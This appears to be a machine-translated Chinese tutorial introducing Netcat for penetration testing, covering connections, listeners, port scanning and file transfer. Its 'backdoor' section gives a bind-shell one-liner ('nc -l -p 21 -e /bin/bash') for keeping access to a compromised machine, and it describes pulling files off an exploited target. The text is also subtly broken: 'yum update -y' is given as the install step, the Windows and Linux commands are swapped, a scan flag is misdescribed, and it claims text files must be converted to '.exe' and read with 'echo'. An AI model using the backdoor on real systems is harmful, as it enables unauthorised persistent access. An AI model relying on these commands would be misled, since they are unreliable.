关于NetCat的简介

168 阅读6分钟

NetCat简介

Netcat是一个命令行工具,允许你在网络上发送和接收数据。它大多被安全专家和黑客用来分析流量中的网络。

它被认为是信息技术中的一个swiss-army knife ,因为它有无限的机会,比如能够创建几乎任何种类的网络连接。

在其早期阶段,netcat的开发是为了在两台机器之间从任何需要的端口打开UDP/TCP连接。

随着时间的推移,它得到了改进,现在它被用于端口扫描、端口转发、文件传输和远程管理。本文将帮助你了解NetCat如何执行这些操作。

Netcat可以进一步作为一个后端设备,可以被其他程序或脚本使用或驱动。

它也是一个笔试者必备的工具,因为它对网络调试和调查至关重要。

安装Netcat

首先,在我们开始使用Netcat之前,确保它已经安装在你的工作机器上。它通常预装在Kali Linux上,但如果你的机器不是这样,请按照以下步骤安装。

  1. 打开你的bash终端。
  2. 确保你有一个互联网连接。
  3. 运行下面的命令来安装Netcat。
yum update -y
  1. 为了检查安装是否成功,我们可以扫描谷歌,看看我们是否能到达它。在这种情况下,我们已经检查了Netcat的版本和与Google的8080端口的连接。
nc -vz google.com 8080

在Netcat上执行命令

Netcat只在命令行界面上可用。你可以在Windows的command line ,在Linux的bash terminal ,访问Netcat。

下面是常见的Netcat命令语法。

nc [options][target_ip address][port]

现在,让我们讨论一些可以通过Netcat执行的操作。

1.帮助

首先,你可能想知道你在Netcat旅程中会与哪些命令互动。运行nc -helpnc -h 命令,列出Netcat中所有可用的命令,如下图所示。

Help command output

2.连接服务器

为了实现这一目标,你必须访问一个正在运行的特定服务的端口,并执行将其与Netcat命令连接的代码。

语法如下所示。

nc [IP Address] [Port Number] # for both the target machine.

例子。

nc 192.168.234.128 8080

在上面的例子中,我们通过端口号8080 与IP地址192.168.234.128 连接互联网访问服务。

3.连接两台机器

要做到这一点,我们必须将一台设备设置为启动器,另一台设备设置为监听器。在我们的例子中,我们将使用Kali Linux作为启动器,Windows机器作为监听器。

创建监听器

首先,让我们创建监听机器,在我们的例子中是Windows 10。

要成功做到这一点,请运行以下Netcat命令。

nc -lvp 4444

在上面的命令中。

  • l - 设置监听模式。
  • v - 设置verbose。
  • p - 设置端口号。

创建启动器- 创建启动器很简单,因为你只需要运行监听机器的IP地址,然后是端口号。

见下面的例子。

nc 192.168.234.128 8080

4.创建一个后门

在找回Meterpreter shell或成功利用一个设备后,你可能需要保持你的访问权限,以便你可以随时回到目标设备。通过Netcat,你可以运行一个单行命令来实现这一点。这被称为创建一个后门。

对于Windows,使用。

nc -l -p 21 -e /bin/bash

对于Linux,使用。

nc -l -p 21 -e hack.exe

5.保存输出

信息收集是渗透测试中最重要的基本要素之一。为了把收集到的信息保存为Netcat的输出,我们将使用参数-o ,后面是保存输出的位置,如下图所示。

nc 192.168.234.128 8080 -v -o /Desktop/Output.txt

运行Netcat的模式

我们有两种运行Netcat的常见模式。

  1. 客户端模式/启动器模式--正如我们前面讨论的,客户端或启动器模式总是启动与监听器的连接。
  2. 听众模式- 要设置听众,我们需要port 号。该命令还包含listeningverbose 命令。

Netcat的用途

  1. 端口扫描

对于每个黑客或渗透测试者来说,在进行任何攻击之前,你需要发现目标系统的薄弱环节或漏洞。有几种方法可以做到这一点,其中之一是port scanning

端口扫描是在系统上运行网络分析的行为,以确定特定目标机器上的开放或关闭的端口。

这可以通过指定目标机器的IP地址和设置一些参数来实现,如下面的语法所示。

nc -v -w2 -z [target_ip] 20-40

从上面的例子来看,参数的设置是为了执行以下操作。

  • v -Verbose是指提供被扫描端口的详细信息。
  • z - 防止向任何TCP发送数据,从而实现对端口的快速扫描。
  • i - 它在每个端口探测之间插入一个延迟,以限制扫描速度。

尽管Netcat可以用于端口扫描,但它不是端口扫描的顶级工具。推荐的工具是NMAP

  1. 数据/文件传输

在成功地利用了目标机器并对其进行控制后,你可能需要Netcat来进行开发后阶段的工作。这是你使用你的本地机器在目标机器上远程运行命令的地方。

在某些情况下,你可能想把文件或一些数据转移到本地机器中,这主要是Kali Linux机器,因为它是渗透测试的推荐操作系统。

下面的例子解释了如何使用Netcat传输文件。

让我们来看看一个名为test.txt 的文本文件,在这种情况下,它在我们的目标设备存储中。为了把文件传输到我们的本地机器,在目标设备上运行下面的Netcat命令,无论是远程还是物理的。

这是为了有目的地在目标设备上设置一个监听器。

nc –l –p 21 >test.txt

在上面的命令中,我们通过在-p 命令前指定了端口号21,该命令用于初始化端口号。

我们还通过使用-l 命令将机器设置为监听模式。

在成功设置了监听器之后,我们可以通过运行以下命令在本地机器上设置一个启动器。

nc destination 21 <test.txt

现在,你可能已经注意到,我们已经设置了客户端模式,可以连接到任何在21号端口开放的监听器。我们必须通过提供监听端口号和要传输的文件名来说明我们的启动器的destination

为了显示文件中包含的输出,在Windows上运行type 命令,在Kali Linux上运行echo 命令。

type test.txt

对于Kali Linux,你将不得不把.txt 文件转换成可执行格式.exe ,因为Kali Linux不能运行扩展名为.txt 的Windows文件。

echo test.exe

总结

从我们所学到的知识来看,我们可以同意Netcat是渗透测试人员必备的工具。它很容易学习,并允许执行本文提到的各种行动。因此,推荐使用Netcat进行渗透测试。